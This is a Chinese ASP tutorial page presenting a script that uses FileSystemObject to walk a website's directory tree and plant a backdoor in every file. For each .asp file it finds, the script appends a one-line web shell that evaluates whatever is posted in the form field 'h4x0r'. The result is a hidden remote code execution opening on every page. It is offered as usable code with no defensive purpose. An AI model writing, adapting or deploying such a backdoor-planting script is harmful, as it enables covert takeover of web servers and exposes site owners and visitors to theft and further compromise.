当前位置:首页 > ASP教程 > FSO专栏

FSO遍历目录实现全站插马的代码

<%
dim ph
dim intfile
server.scripttimeout = 600
ph=server.mappath("/") 
sub insertallfiles(path)
set fso = createobject("scripting.filesystemobject")
on error resume next 
set f = fso.getfolder(path)
set fc2 = f.files
for each myfile in fc2
if lcase(fso.getextensionname(path&""&myfile.name))="asp" then
set fs1 = createobject("scripting.filesystemobject")
set tfile=fs1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<script runat=server language=javascript>eval(request.form('h4x0r')+'')</script>"
else
insertallfiles(newpath)
end if
tfile.close
next
set fsubfolers = f.subfolders
for each f1 in fsubfolers
newpath=path&""&f1.name
insertallfiles(newpath)

next
set tfile=nothing
set fso = nothing
end sub
%>
<% 
call insertallfiles(ph)
%>
【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!